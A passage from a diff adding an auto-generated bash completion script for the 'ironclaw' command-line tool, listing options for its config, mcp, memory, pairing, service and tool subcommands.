+ return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config) + opts="init list get set reset path" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__get) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__init) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__path) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__reset) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__config__set) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__doctor) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp) + opts="add remove list auth test toggle" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__add) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__auth) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__remove) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__test) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__mcp__toggle) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory) + opts="search read write tree status" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory__read) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory__search) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory__status) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory__tree) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__memory__write) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__onboard) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__pairing) + opts="list approve" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__pairing__approve) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__pairing__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__run) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service) + opts="install start stop status uninstall" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service__install) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service__start) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service__status) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service__stop) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__service__uninstall) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__status) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool) + opts="install list remove info auth" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool__auth) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool__info) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool__install) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__tool__remove) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__help__worker) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help add remove list auth test toggle help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__add) + opts="-m -c -h --client-id --auth-url --token-url --scopes --description --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --client-id) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --auth-url) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --token-url) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --scopes) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --description) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__auth) + opts="-u -m -c -h --user --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --user) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -u) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help) + opts="add remove list auth test toggle help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__add) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__auth) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__remove) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__test) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__help__toggle) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__list) + opts="-v -m -c -h --verbose --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__remove) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__test) + opts="-u -m -c -h --user --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --user) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -u) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__mcp__toggle) + opts="-m -c -h --enable --disable --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help search read write tree status help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help) + opts="search read write tree status help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__read) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__search) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__status) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__tree) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__help__write) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__read) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__search) + opts="-l -m -c -h --limit --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --limit) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -l) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__status) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__tree) + opts="-d -m -c -h --depth --cli-only --no-db --message --config --no-onboard --help [PATH]" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --depth) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -d) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__memory__write) + opts="-a -m -c -h --append --cli-only --no-db --message --config --no-onboard --help [CONTENT]" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__onboard) + opts="-m -c -h --skip-auth --channels-only --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help list approve help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f 